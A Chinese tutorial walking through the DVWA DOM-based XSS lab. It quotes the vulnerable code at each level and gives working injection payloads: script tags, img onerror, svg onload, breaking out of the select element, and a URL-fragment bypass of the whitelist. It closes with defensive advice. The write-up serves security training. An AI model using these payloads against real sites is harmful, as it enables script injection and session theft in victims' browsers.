DVWA XSS DOM DOM型XSS通关教程

漏洞简介

DOM 型 XSS 是个比较特殊的存在,攻击过程完全不经过服务器,纯前端搞定的。恶意代码通过 JavaScript 写进 DOM 里执行,服务端日志里都看不到啥异常。

这关主要学怎么利用 DOM 型 XSS。

DOM 型 XSS 原理

流程是这样的:

  1. 攻击者搞个带恶意代码的 URL
  2. 用户点进去,请求发到服务器
  3. 服务器返回正常页面(恶意代码不在里面)
  4. 浏览器执行 JS,从 URL 里读出恶意代码
  5. 恶意代码被写进 DOM 执行

服务器日志里看请求,发现不了 XSS 攻击痕迹。

Low 级别

Low 级别没服务端代码,纯前端 JavaScript:

1
2
3
4
if (window.location.search.indexOf('default') !== -1) {
var lang = decodeURIComponent(window.location.search.split('default=')[1]);
document.write("<option value='" + lang + "'>" + lang + "</option>");
}

URL 参数 default 直接写进 DOM,一点过滤都没有。

攻击方法

测试 XSS:

1
?default=<script>alert('XSS')</script>

![图片占位]

弹窗了,注入成功。

偷 Cookie:

1
?default=<script>alert(document.cookie)</script>

![图片占位]

也可以用 img 标签:

1
?default=<img src=x onerror=alert(1)>

Medium 级别

Medium 在服务端过滤了 <script

1
2
3
4
if( stripos( $default, "<script" ) !== false ) {
header( "location: ?default=English" );
exit;
}

但 DOM 型 XSS 又不是只有 <script> 这一种姿势。

攻击方法

用 img 标签:

1
?default=<img src=x onerror=alert(1)>

![图片占位]

用 svg 标签:

1
?default=<svg onload=alert(1)>

闭合 select 标签:

1
?default=</option></select><img src=x onerror=alert(1)>

![图片占位]

过滤 <script 过滤了个寂寞。

High 级别

High 级别用白名单验证:

1
2
3
4
5
6
7
8
9
10
switch( $_GET[ 'default' ] ) {
case "English":
case "French":
case "German":
case "Spanish":
break;
default:
header( "location: ?default=English" );
exit;
}

只允许四个值,服务端过滤得挺死。但别忘了 URL 锚点。

攻击方法

# 后面的东西不会发到服务器,但 JavaScript 能读到:

1
?default=English#<script>alert(1)</script>

![图片占位]

服务端只看到 default=English,白名单过了。但前端 JS 读的是整个 URL,后面的恶意代码照样执行。

也可以用 input 标签:

1
?default=English#<input onfocus=alert(1) autofocus>

Impossible 级别

Impossible 级别没特殊代码,但服务端白名单 + 前端转义:

1
2
var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
lang = lang.replace(/</g, '&lt;').replace(/>/g, '&gt;');

<> 转义成 &lt;&gt;,恶意代码就不会被当成 HTML 执行了。

DOM 型 XSS 常见位置

位置 说明
document.location URL 参数
document.URL 完整 URL
document.referrer 来源页面
document.cookie Cookie
window.name 窗口名称
innerHTML HTML 内容
document.write() 直接写入 DOM
eval() 执行代码

小结

DOM 型 XSS 防护要点:

  1. 前端对动态内容要做 HTML 实体编码
  2. 能不用 innerHTMLdocument.write()eval() 就别用
  3. textContent 代替 innerHTML
  4. 配好 CSP
  5. URL 参数别直接塞进 DOM